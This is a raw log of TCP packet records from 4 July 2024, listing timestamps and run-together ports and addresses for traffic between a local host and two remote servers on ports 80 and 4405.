                                                              Jul 4, 2024 11:16:16.274085045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.274152040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274163961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274174929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274187088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274198055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274203062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.274211884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.274226904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.274266958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.274440050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.292996883 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.294312954 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.295093060 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.295551062 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.296025991 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.299011946 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.299957991 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.300328970 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.300817966 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.323080063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323137999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323151112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323179960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323190928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323203087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323209047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.323247910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.323251009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.323431969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358059883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358077049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358088017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358098030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358108997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358119011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358129978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358138084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358139992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358154058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358165026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358175993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358186960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358190060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358198881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358212948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358216047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358225107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358234882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358247042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358258009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358266115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358269930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358282089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358283043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358294010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358304977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358311892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358320951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358339071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358350039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358355999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358367920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358376980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358380079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358392954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358393908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358412981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358423948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358428955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358433962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358444929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358457088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358464956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358477116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358478069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358489037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358494997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358505011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358515978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358527899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358529091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358540058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358551025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358555079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358567953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358572006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358580112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.358599901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.358795881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361089945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361145973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361191988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361195087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361208916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361248970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361287117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361298084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361310005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361321926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361332893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361340046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361371994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361428976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361439943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361457109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361468077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361484051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361485004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361495972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361506939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361515045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361541033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361552954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361670017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361681938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361694098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361706972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361716986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361723900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361757994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361788034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361804008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361812115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361823082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361865044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361895084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361907005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361917019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361933947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361948013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361974001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.361974955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361987114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.361999035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.362034082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.362921953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.362972021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363004923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363015890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363027096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363039970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363055944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363061905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363089085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363121033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363131046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363142967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363152027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363157034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363192081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363217115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363228083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363248110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363260031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363260984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363289118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363290071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363301039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363337994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363750935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363770962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363782883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363794088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363830090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363873005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363884926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363895893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363908052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.363924980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.363946915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364026070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364038944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364049911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364061117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364070892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364070892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364083052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364094019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364111900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364149094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364401102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364471912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364475965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364494085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364505053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364525080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364557028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364567041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364578009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.364599943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.364626884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.422667980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422681093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422693014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422755003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.422775030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422794104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422805071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422816992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.422818899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.422842026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447067976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447079897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447089911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447140932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447151899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447169065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447180033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447180033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447191954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447216988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447242975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447310925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447320938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447335958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447352886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447364092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447365999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447380066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447391987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447401047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447402000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447428942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447437048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447443962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447478056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447491884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447503090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447530985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447555065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447658062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447669983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447679996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447696924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447710991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447734118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447801113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447813988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447825909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447837114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447848082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447859049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447865963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447870970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447884083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447895050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.447895050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.447935104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448077917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448088884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448100090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448108912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448120117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448127031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448152065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448172092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448221922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448235989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448241949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448255062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448268890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448273897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448281050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.448298931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.448318958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451076031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451098919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451111078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451169014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451189041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451201916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451239109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451283932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451303005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451313972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451324940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451328993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451337099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451348066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451359987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451369047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451390982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451404095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451404095 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451438904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451448917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451453924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451564074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451574087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451585054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451596022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451606989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451611042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451621056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451643944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451646090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451662064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451703072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451715946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451756954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451761961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451776028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451797962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451828957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451841116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451850891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.451868057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.451893091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.452961922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.452972889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.452984095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453015089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453038931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453051090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453063011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453074932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453078032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453104973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453120947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453130960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453144073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453147888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453268051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453278065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453295946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453305960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453306913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453332901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453345060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453608036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453660011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453670979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453711987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453749895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453763008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453779936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453790903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453790903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453808069 CEST804972385.28.47.8192.168.2.6
